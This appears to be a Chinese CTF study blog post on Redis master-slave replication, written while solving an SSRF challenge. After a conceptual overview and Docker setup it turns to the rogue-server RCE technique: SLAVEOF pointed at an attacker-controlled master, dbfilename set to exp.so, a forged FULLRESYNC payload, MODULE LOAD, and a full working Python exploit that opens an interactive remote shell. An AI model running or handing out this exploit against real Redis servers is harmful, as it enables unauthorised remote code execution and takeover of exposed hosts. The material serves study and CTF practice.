[LeetCode人生]1351. 統計有序矩陣中的負數
redis主從複製
目錄前言
開篇雷擊,真要笑死我了.正好在寫網鼎杯的ssrfme,學到redis主從複製,還在這糾結不懂,電腦右下角彈出來個框
(不知道什麼時候加的免費課程,覺得這個課還不錯,主要講的挺高階的,而且最重要的是可以白嫖!)
切回正題,必得好好學一學
介紹
作用
- 資料冗餘(熱備份)
- 故障恢復(主節點出問題可以由從節點繼續提供服務)
- 讀寫分離(主節點提供寫服務,從節點提供讀服務)
(其實我覺得整個下來有點hadoop分佈叢集內味兒了)
原理
主從複製是指將一臺redis伺服器的資料,複製到其他redis伺服器.前者稱為主節點,後者稱為從節點,資料複製單向,只能由主節點到從節點
這也是redis從ssrf到rce的核心:
通過主從複製,主redis的資料和從redis上的資料保持實時同步,當主redis寫入資料是就會通過主從複製複製到其它從redis。
在全量複製過程中,恢復rdb檔案,如果我們將rdb檔案構造為惡意的exp.so,從節點即會自動生成,使得可以RCE
過程分為三個階段:連線建立階段\資料同步階段\命令傳播階段
從節點執行slaveof命令後,複製過程開始,分為六個階段:
- 儲存主節點資訊
- 主從建立socker連結
- 傳送ping命令
- 許可權驗證
- 同步資料集
- 命令持續複製
問題
既然是異體機,跨主機就有可能資料存在各種問題
-
如果資料延遲,導致讀寫不一致.採用監控偏移量offset的思想,如果offset超出範圍直接切換回主節點上
-
非同步複製導致資料丟失的情況,要求主節點至少有n個從節點連結的時候才允許寫入
-
從節點故障可以允許主節點配置高於從節點,依然可用
-
從節點斷掉,主節點記憶體碎片率過高,redis提供debug reload的重啟方式,在不影響主節點runid和offset情況下重啟,同時避免消耗資源的全量複製
-
主節點宕機重啟時,可以採用樹狀,將開銷交給位於中間層的從節點,從而減輕主節點的消耗
啟動
執行容器
拉取最新版本redis映象
docker pull redis:latest
檢視本地映象
docker images
(出現redis latest即表明安裝成功)
執行容器
docker run -itd --name redis-test -p 10000:6379 redis
檢視執行狀態
docker ps -a
進入容器
docker exec -it redis-test /bin/bash
連線redis
redis-cli
這裡還要建一臺機器,重複上述操作,改個名字和埠即可
主從複製啟動
我們這裡通過客戶端命令方式開啟從節點主從複製,redis伺服器啟動後,直接可短短輸入命令
slaveof <masterip> <masterport>
此機器變成從節點
info replication
檢視引數資訊
可以看到設定成功,測試資料達到同步
載入惡意檔案
自從Redis4.x之後redis新增了一個模組功能,Redis模組可以使用外部模組擴充套件Redis功能,以一定的速度實現新的Redis命令,並具有類似於核心內部可以完成的功能。
Redis模組是動態庫,可以在啟動時或使用MODULE LOAD
命令載入到Redis中
貼一下惡意.so檔案編寫地址
在這裡膜一下r3kapig的師傅,tql
利用原理
上文中提到,主從複製會啟用全量複製的方式將主節點的rdb檔案同步到從節點,於是我們可以利用redis模組特性將惡意so檔案上傳至主節點,全量複製會幫我們同步到子節點上
建立rogue伺服器
使用此專案下的rogue-server,目的是在同步過程中向redis傳送我們的module load命令
設定從節點
slaveof <mastetip> <masterport>
設定redis資料庫檔案
CONFIG SET dbfilename exp.so
注意:如果某些ctf過濾了file字串,可以採用二次編碼方式繞過。且此處的exp.so不能包含路徑
rogue server 接受回傳
+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
載入模組
MODULE LOAD ./exp.so
exp
貼上大佬的exp
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock
def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return
def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
if __name__=="__main__":
lhost="192.168.163.132"
lport=6666
rhost="192.168.163.128"
rport=6379
passwd=""
redis_sock=redis_connect(rhost,rport)
if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(lport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)
演示
執行redis服務
redis-test: 172.17.0.2
redis-test2:172.17.0.3
開啟主從複製
執行rogue server
python redis-rogue-server.py --rhost 172.17.0.3 --lhost 172.17.0.1
因為我這裡是預設直接啟動的,沒有設定redis.conf中關閉安全限制,所以並沒有連上,實際中只要其關閉安全限制,暴露在外網中即可getshell